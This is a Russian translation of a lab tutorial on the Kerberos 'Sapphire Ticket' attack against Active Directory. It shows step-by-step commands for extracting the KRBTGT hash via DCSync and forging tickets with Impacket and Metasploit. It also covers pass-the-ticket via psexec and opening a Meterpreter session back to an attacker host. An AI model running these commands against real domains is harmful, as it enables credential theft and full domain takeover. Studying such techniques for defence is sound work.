Тех­ники Diamond Ticket и Sapphire Ticket — новые нап­равле­ния в раз­витии атак на Active Directory. «Сап­фировый» вари­ант — это про­качан­ная вер­сия «алмазно­го»: если Diamond Ticket прос­то изме­няет PAC, то Sapphire под­став­ляет вмес­то него PAC дру­гого при­виле­гиро­ван­ного поль­зовате­ля. В этой статье мы как сле­дует раз­берем, как имен­но работа­ют такие ата­ки.

info

Это перевод матери­ала Sapphire Ticket Attack: Abusing Kerberos Trust из бло­га Hacking Articles. Автор — Ко­маль Сингх. Этот матери­ал дос­тупен без плат­ной под­писки.

Итак, Sapphire Ticket работа­ет по тому же прин­ципу, что и Diamond: ата­кующий получа­ет легаль­ный TGT и копиру­ет дан­ные из его PAC в под­дель­ный тикет. Но тут есть одна хит­рость: вмес­то того что­бы полагать­ся на PAC из пер­вично­го аутен­тифика­тора, зло­умыш­ленник про­водит отдель­ную опе­рацию для получе­ния PAC дру­гого поль­зовате­ля — чаще все­го с повышен­ными при­виле­гиями.

Ал­горитм сле­дующий:

  • Аутен­тифика­ция через KDC (центр рас­пре­деле­ния клю­чей). Исполь­зуя рас­ширения S4U2Self и U2U, ата­кующий зап­рашива­ет TGS для поль­зовате­ля с высоки­ми при­виле­гиями. Так сис­тема соз­дает PAC, который отоб­ража­ет реаль­ные дан­ные авто­риза­ции поль­зовате­ля. Одна­ко этот билет нель­зя нап­рямую исполь­зовать в при­виле­гиро­ван­ных кон­тек­стах.
  • Рас­шифров­ка дан­ных PAC.
  • Из­менение PAC таким обра­зом, что­бы он соот­ветс­тво­вал атри­бутам нас­тояще­го TGT.
  • Шиф­рование под­дель­ного билета с хешем KRBTGT.

Как и в слу­чае с золоты­ми и алмазны­ми билета­ми, что­бы соз­дать сап­фировый билет, ата­кующе­му нужен хеш домена KRBTGT. Но здесь есть одна осо­бен­ность: в отли­чие от осталь­ных подоб­ных атак, здесь не тре­буют­ся DOMAIN_SID и DOMAIN_RID. Вмес­то это­го всю нуж­ную инфу мож­но вытащить пря­мо из дей­стви­тель­ного TGT.

info

Под­робнее про тех­нику Diamond Ticket читай в пре­дыду­щей статье того же авто­ра: «Ал­мазный билет. Как исполь­зовать доверие Kerberos в сво­их целях».

 

Важные термины

 

S4U2Self

Рас­ширение S4U2Self (бук­валь­но — «служ­ба от поль­зовате­ля к себе») для Kerberos поз­воля­ет сер­вису от име­ни поль­зовате­ля зап­росить для себя сер­висный билет. В нем содер­жатся дан­ные, удос­товеря­ющие пра­ва поль­зовате­ля, в час­тнос­ти Privilege Attribute Certificate (PAC). Имен­но на осно­ве этой инфы сис­тема потом реша­ет, какой дос­туп давать.

Что­бы вос­поль­зовать­ся S4U2Self, нуж­но, что­бы у поль­зовате­ля, который зап­рашива­ет, был зарегис­три­рован хотя бы один Service Principal Name (SPN). Этот SPN поз­воля­ет кон­трол­леру домена (DC) зашиф­ровать сге­нери­рован­ный сер­висный тикет с помощью сек­ретно­го клю­ча самого сер­виса.

 

Процесс запроса токена S4U2Self

  1. Сер­вис соз­дает струк­туру дан­ных PA_FOR_USER, где ука­зыва­ет поль­зовате­ля, от име­ни которо­го хочет вой­ти.
  2. От­прав­ляет сооб­щение KRB_TGS_REQ на сер­вер выдачи билетов (TGS).
  3. TGS (Ticket Granting Service) отве­чает сер­висным билетом, в котором лежит PAC поль­зовате­ля, зашиф­рован­ный для зап­рашива­емо­го сер­виса.
 

U2U

Аутен­тифика­ция User-to-User (U2U), или «аутен­тифика­ция поль­зовате­лей меж­ду собой», — это фиш­ка Kerberos, которая поз­воля­ет кли­енту зап­росить билет, зашиф­рован­ный сес­сией дру­гого поль­зовате­ля. Это обыч­но про­исхо­дит, ког­да сер­вером выс­тупа­ет юзер и у него нет дол­госроч­ного клю­ча, как на дес­кто­пе.

Вот что нуж­но для зап­роса тикетов в U2U:

  • additional-tickets — содер­жит TGT поль­зовате­ля, выс­тупа­юще­го в роли сер­вера;
  • ENC-TKT-IN-SKEY — говорит KDC шиф­ровать сер­висный тикет с исполь­зовани­ем сес­сион­ного клю­ча из допол­нитель­ного тикета;
  • sname (имя сер­виса) может ука­зывать на поль­зователь­ский акка­унт, а не на тра­дици­онный сер­вис с SPN.

Это поз­воля­ет одно­му поль­зовате­лю (поль­зователь Б) надеж­но аутен­тифици­ровать­ся у дру­гого поль­зовате­ля (поль­зователь А), даже если у поль­зовате­ля А нет сох­ранен­ного сек­ретно­го клю­ча.

При­мер работы U2U:

  • поль­зователь А (в роли сер­вера) выкаты­вает свой TGT поль­зовате­лю Б;
  • поль­зователь Б отправ­ляет KRB_TGS_REQ на KDC, вклю­чая TGT как от поль­зовате­ля A, так и свой собс­твен­ный;
  • KDC генерит новый сеан­совый ключ и зашиф­ровыва­ет его два раза: пер­вый раз — под сеан­совый ключ поль­зовате­ля A, вто­рой — под ключ поль­зовате­ля Б.

Оба поль­зовате­ля рас­шифро­вали свои час­ти, и теперь у них есть общий сес­сион­ный ключ для безопас­ного обще­ния.

Это избавля­ет поль­зовате­ля А от необ­ходимос­ти хра­нить пос­тоян­ный мас­тер‑ключ, что дела­ет запуск сер­висов с менее защищен­ных конеч­ных точек вро­де дес­кто­пов безопас­нее.

 

Технические подробности

Sapphire Tickets исполь­зует связ­ку S4U2Self и U2U, что­бы обой­ти клас­сичес­кие тре­бова­ния к SPN.

Вот как это работа­ет. Обыч­но для S4U2Self тре­бует­ся дей­стви­тель­ный SPN. Но если под­клю­чить U2U, мож­но зап­росить тикеты S4U2Self вооб­ще без нуж­ды в SPN.

Пред­положим, у тебя есть сер­вис, нас­тро­енный для работы с Kerberos Constrained Delegation (KCD). На него при­лета­ет сес­сия от юзе­ра, про­шед­шего аутен­тифика­цию через NTLM. И тут заг­воз­дка: если у юзе­ра нет билета Kerberos (ST), то этот сер­вис даль­ше делеги­ровать пра­ва уже не смо­жет.

В этом слу­чае сер­вис отправ­ляет зап­рос KRB_TGS_REQ, что­бы получить сер­вис‑токен (ST) для поль­зовате­ля — самому себе — через S4U2Self.

По­лучен­ный тикет вклю­чает в себя PAC поль­зовате­ля, который сер­вис может рас­шифро­вать с помощью клю­ча KRBTGT.

Как толь­ко у сер­виса появит­ся PAC (Privilege Attribute Certificate), он смо­жет добавить его в уже име­ющий­ся TGT (Ticket Granting Ticket), перешиф­ровать и сно­ва под­писать с исполь­зовани­ем клю­ча KRBTGT.

Ко­рот­ко: S4U2Self поз­воля­ет сер­вису получить тикет от име­ни поль­зовате­ля. U2U не тре­бует клю­ча сер­виса, что­бы это про­вер­нуть. Вмес­те они прев­раща­ются в мощ­ное средс­тво для мас­киров­ки под поль­зовате­лей и манипу­ляции токена­ми Kerberos.

Чем это отличается от алмазного билета?

В обе­их ата­ках все кру­тит­ся вок­руг манипу­ляции с PAC нас­тояще­го TGT, но раз­ница в том, как имен­но это дела­ется. В слу­чае с алмазным билетом ата­кующий модифи­циру­ет ори­гиналь­ный PAC зап­рошен­ного TGT — либо добав­ляет туда кучу допол­нитель­ных прав, либо вооб­ще перепи­сыва­ет его пол­ностью. А вот с сап­фировым билетом всё хит­рее: тут зло­дей не прос­то лезет в TGT, а добыва­ет нас­тоящий PAC высокоп­ривиле­гиро­ван­ного поль­зовате­ля через делега­цию Kerberos и под­кла­дыва­ет его вмес­то исходно­го PAC билета.

 

Подготовка лаборатории

Что­бы про­вер­нуть эту ата­ку, мы соз­дадим двух поль­зовате­лей: admin1 — домен­ный адми­нис­тра­тор, rudra — обыч­ный поль­зователь на кон­трол­лере домена. Залогинь­ся на кон­трол­лере домена, открой коман­дную стро­ку и вво­ди коман­ды по нашему рецеп­ту.

net user rudra Password@1 /add /domain

Соз­даем нового поль­зовате­ля admin1 в домене и выда­ем ему пароль Password@1. Затем добав­ляем поль­зовате­ля admin1 в груп­пу Domain Admins в домене.

net user admin1 Password@1 /add /domain
net group “Domain Admins” admin1 /add /domain

Пос­ле выпол­нения коман­ды про­верим, дей­стви­тель­но ли admin1 про­писан в груп­пе домен­ных адми­нов. Для это­го заходим в «Поль­зовате­ли и компь­юте­ры Active Directory → Поль­зовате­ли» и дваж­ды кли­каем на выб­ранно­го поль­зовате­ля (у нас это admin1). Затем перехо­дим на вклад­ку «Членс­тво». В спис­ке дол­жен быть Domain Admins, как на скрин­шоте ниже.

 

Атака на сапфировый билет

Итак, что­бы про­вес­ти эту ата­ку, зло­умыш­ленни­ку нуж­но заполу­чить хеш KRBTGT. Пред­ставь себе такой рас­клад: хакер взло­мал учет­ные дан­ные при­виле­гиро­ван­ного акка­унта, ска­жем admin1-User. Получив дос­туп, он пыта­ется про­вер­нуть ата­ку DCSync для выкач­ки хеша KRBTGT акка­унта.

 

Извлечение хеша KRBTGT и SID домена

impacket-secretsdump 'ignite.local/admin1:Password@1@ignite.local -just-dc-user krbtgt

info

Impacket-secretsdump — это ути­лита, которая помога­ет вытащить хеши из Active Directory. В нашем слу­чае есть дан­ные для вхо­да от име­ни адми­на и мы исполь­зуем их, что­бы получить хеш для учет­ки krbtgt, которая при­меня­ется для управле­ния билета­ми Kerberos.

nxc ldap 192.168.1.48 -u admin1 -p Password@1 --get-sid

На кар­тинке ниже ты видишь хеши NTLM и AES для слу­жеб­ной учет­ки KRBTGT.

На сле­дующем эта­пе извле­ки SID для поль­зовате­ля admin1.

nxc ldap 192.168.1.48 -u admin1 -p Password@1 --get-sid
 

Генерация поддельного TGS и PAC

Ата­кующий под­делыва­ет сер­висный билет для поль­зовате­ля admin1, воз­можно с завышен­ными при­виле­гиями и валид­ной под­писью, тем самым обхо­дя механиз­мы обна­руже­ния типа PAC-про­вер­ки на кон­трол­лере домена.

impacket-ticketer -request -impersonate admin1 -domain ignite.local -user rudra -password Password@1 -nthash 761688de884aff3372f8b9c53b2993c7 -aeskey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb' -domain-sid S-1-5-21-798084426-3415456680-3274829403 baduser

Здесь

  • -domain ignite.local ука­зыва­ет целевой домен для ата­ки;
  • -user rudra — имя поль­зовате­ля, для которо­го генери­рует­ся под­дель­ный билет;
  • -password Password@1 — пароль поль­зовате­ля для получе­ния крип­тогра­фичес­ких клю­чей при генера­ции PAC или билета. Обыч­но не встре­чает­ся в ата­ках с исполь­зовани­ем Silver Ticket;
  • -nthash и -aesKey при­над­лежат акка­унту KRBTGT, как и нуж­но для ата­ки с исполь­зовани­ем Diamond Ticket.

Сле­дующие парамет­ры нуж­ны, что­бы крип­тогра­фичес­ки под­писывать и про­верять под­дель­ные тикеты сер­виса:

  • -domain-sid S-1-5-21-79...03 — эта стро­ка опи­сыва­ет иден­тифика­тор безопас­ности (SID) для домена (SID нужен, что­бы сфор­мировать PAC);
  • admin1 — показы­вает, какой SPN (имя глав­ного сер­виса) или логин зло­умыш­ленник исполь­зует, что­бы прит­ворить­ся дру­гим и вык­роить дос­туп к услу­гам как baduser.
 

Pass the Ticket

Эта перемен­ная окру­жения ука­зыва­ет сис­теме, какой имен­но файл кеша учет­ных дан­ных Kerberos (baduser.ccache) при­менять для аутен­тифика­ции.

Файл baduser.ccache хра­нит билеты Kerberos для поль­зовате­ля baduser, и, ско­рее все­го, там ока­жет­ся и сер­висный билет (TGS) для выб­ранной цели. Это зна­чит, что ты можешь вос­поль­зовать­ся этим фай­лом, что­бы авто­ризо­вать­ся и зай­ти на сер­вис под видом baduser.

export KRB5CCNAME=baduser.ccache
impacket-psexec ignite.local/admin1@dc.ignite.local -dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass

Да­вай раз­берем эту коман­ду по час­тям:

  • impacket-psexec — ути­лита из биб­лиоте­ки Impacket, с помощью SMB уда­лен­но запус­кающая коман­ды на вин­довых машинах;
  • ignite.local/admin1@dc.ignite.local — основное имя Kerberos (user@realm), которое исполь­зует­ся для аутен­тифика­ции. Так­же здесь local — домен, admin1 — твой ник, local — имя хос­та кон­трол­лера домена;
  • -dc-ip 192.168.1.48 — этот параметр зада­ет IP-адрес нашего кон­трол­лера домена;
  • -target-ip 192.168.1.48 — IP целевой сис­темы, где будет выпол­нять­ся коман­да. В нашем слу­чае он сов­пада­ет с IP кон­трол­лера домена;
  • -k озна­чает, что вмес­то NTLM будет исполь­зовать­ся аутен­тифика­ция через Kerberos. Наш инс­тру­мент под­тянет Kerberos-билеты из ука­зан­ного кеша учет­ных дан­ных (KRB5CCNAME);
  • -no-pass — сооб­щает ути­лите не зап­рашивать пароль, потому что аутен­тифика­ция будет выпол­нять­ся с помощью Kerberos-токенов из кеша.
 

Metasploit

Эта тех­ника поз­воля­ет стя­нуть хеши SAM и сек­реты LSA (вклю­чая кеширо­ван­ные кре­ды) с уда­лен­ной машины на Windows без раз­верты­вания аген­та на мес­те. Хит­рость в том, что­бы уда­лен­но обно­вить дес­крип­тор безопас­ности клю­ча реес­тра, вос­поль­зовав­шись при­виле­гиями WriteDACL локаль­ных адми­нов, что­бы вре­мен­но выс­тавить пра­ва на чте­ние.

Да­вай пос­мотрим, что нуж­но, что­бы это про­вер­нуть.

use gather/windows_secrets_dump
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set SMBUSER admin1
set SMBPASS Password@1
set ACTION DOMAIN
set KRB_USERS KRBTGT
run
 

Атака с сапфировым билетом

Вот, как выг­лядит про­цесс ата­ки.

Да­вай раз­берем, что про­исхо­дит на этом скрин­шоте.

  • RHOSTS = 192.168.1.48 — целевая машина, домен‑кон­трол­лер;
  • SMBDOMAIN = ignite.local — домен;
  • SMBUSER = admin1 — юзер;
  • SMBPASS = Password@1 — пароль;
  • KRB_USERS = krbtgt — поль­зователь для выдачи билетов в Kerberos;
  • ACTION = DOMAIN — показы­вает, что про­исхо­дит слив сек­ретов домена.

Мо­дуль запус­кает­ся, и сек­реты сли­вают­ся с помощью метода DRSUAPI (он час­то исполь­зует­ся для выделе­ния дан­ных из NTDS.DIT).

Крас­ным обве­дены:

  • NTLM-хеш для krbtgt: 76...c7;
  • ключ Kerberos AES для krbtgt: 8e...bb.

Эти дан­ные необ­ходимы для под­делки билетов, потому что клю­чи KRBTGT исполь­зуют­ся для под­писи дей­стви­тель­ных билетов Kerberos.

Этот модуль уме­ло кует Kerberos-билеты, при­меняя четыре хит­рых метода. В методе «сереб­ряный билет» ата­кующий берет хеш учет­ной записи сер­виса и кле­пает билет, который выда­ет себя за любого поль­зовате­ля и дает это­му акка­унту нуж­ные при­виле­гии.

Ме­тод «золотой билет» — это ког­да зло­умыш­ленник исполь­зует хеш krbtgt, что­бы смас­терить билет, изоб­ражая любого поль­зовате­ля с любыми при­виле­гиями.

Да­лее идет «алмазный билет»: тут добав­ляет­ся аутен­тифика­ция на кон­трол­лере домена и затем при­меня­ется тот же хеш krbtgt, что­бы ско­пиро­вать PAC аутен­тифици­рован­ного поль­зовате­ля в под­дель­ный билет.

И зак­рыва­ет всю эту эпо­пею «сап­фировый билет», где исполь­зуют улов­ку S4U2Self и U2U, что­бы добыть PAC дру­гого поль­зовате­ля, а затем на базе хеша krbtgt соз­дает­ся под­дель­ный билет.

Мы исполь­зуем модуль Metasploit forge_ticket, что­бы соз­дать под­дель­ный билет Kerberos.

 

Основные шаги

Сна­чала нас­тра­иваем парамет­ры для под­делки:

  • AES_KEY = ключ — берем его из пре­дыду­щего шага;
  • USER = admin1 — поль­зователь, которо­го мы изоб­ража­ем;
  • REQUEST_USER = rudra — поль­зователь, соз­дающий обра­щение;
  • REQUEST_PASSWORD = Password@1 — исполь­зует­ся в про­цес­се U2U;
  • DOMAIN = ignite.local — уста­нав­лива­ем домен;
  • RHOSTS = 192.168.1.48 — целевая машина.

За­тем запус­каем модуль и получа­ем в виде отве­та TGT (Ticket Granting Ticket) и TGS (Ticket Granting Service).

Би­лет сох­ранен по сле­дующе­му пути:

/root/.msf4/loot/20250128100342_default_192.168.1.48_mit.kerberos.cca_038047.bin
use admin/kerberos/forge_ticket
set action FORGE_SAPPHIRE
set AES_KEY 8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb
set USER admin1
set DOMAIN ignite.local
set REQUEST_USER rudra
set REQUEST_PASSWORD Password@1
set RHOSTS 192.168.1.48
run

За­пус­каем коман­ду ls, что­бы показать все фай­лы. Затем исполь­зуем mv, что­бы пере­име­новать файл в 1.bin, — так будет про­ще ори­енти­ровать­ся в будущем.

Сле­дующий модуль исполь­зует валид­ные админ­ские логин и пароль (или их хеш), что­бы выпол­нить про­изволь­ный пей­лоад. В общем, он чем‑то похож на ути­литу psexec из SysInternals. Модуль хорош тем, что уме­ет уби­рать за собой. А еще он соз­дает сер­вис с ран­домно выб­ранны­ми име­нем и опи­сани­ем.

Нас­трой­ки:

  • SET RHOST 192.168.1.48 — IP целевой машины;
  • SMBDOMAIN: ignite.local — имя домена SMB-сети;
  • USERNAME: admin1;
  • SMB::AUTH: — уста­нови как Kerberos;
  • SMB::KRB5CCNAME — кеш билетов Kerberos заг­ружен из /root/.msf4/loot/1.bin;
  • SMB::RHOSTNAME:dc.ignite.local — имя хос­та кон­трол­лера домена;
  • DOMAINCONTOLLERHOST явно задан как 192.168.1.48;
  • LHOST — машина ата­кующе­го, 192.168.1.60.

Те­перь вве­ди run и жми Enter, что­бы запус­тить наг­рузку и открыть сеанс Meterpreter.

use exploit/windows/smb/psexec
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set USERNAME admin1
set SMB::AUTH kerberos
set SMB::KRB5CCNAME /root/.msf4/loot/1.bin
set SMB::RHOSTNAME dc.ignite.local
set DOMAINCONTROLLERRHOST 192.168.1.48
set LHOST 192.168.1.60
 

Выводы

Сап­фировый билет — это мощ­ный спо­соб манипу­ляции аутен­тифика­цией Kerberos, объ­еди­няющий рас­ширения про­токо­лов S4U2Self и User-to-User (U2U). Эта тех­ника поз­воля­ет зло­умыш­ленни­ку или сер­вису выдать себя за поль­зовате­ля и вытащить его дан­ные авто­риза­ции (PAC), не замора­чива­ясь с Service Principal Name (SPN) или дол­госроч­ным клю­чом сер­виса.

Как толь­ко зло­умыш­ленник получит PAC, он может внед­рить его в под­дель­ный билет. Авто­мати­чес­ки откры­вает­ся воз­можность повысить при­виле­гии или сво­бод­но переме­щать­ся по домену.

Эта тех­ника наг­лядно демонс­три­рует, как зло­умыш­ленни­ки могут исполь­зовать закон­ные фун­кции Kerberos — изна­чаль­но соз­данные для гиб­кой делега­ции и безопас­ной аутен­тифика­ции меж­ду узла­ми, если в безопас­ности домена есть про­белы в кон­фигура­ции и кон­тро­ле.

Что­бы пре­дот­вра­тить такие ата­ки:

  • мо­ниторь активность заявок и нес­тандар­тных зап­росов на делеги­рова­ние;
  • об­рати вни­мание на защиту и аудит нас­тро­ек KCD;
  • ми­ними­зируй исполь­зование NTLM и сле­ди за хорошей гиги­еной сер­висных прин­ципалов.

Сап­фировые билеты прев­раща­ют механизм доверия Kerberos в потен­циаль­ный инс­тру­мент для незамет­ных атак. Поэто­му осве­дом­ленность и уме­ние выяв­лять такие угро­зы ста­новят­ся жиз­ненно важ­ными навыка­ми при защите Active Directory.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии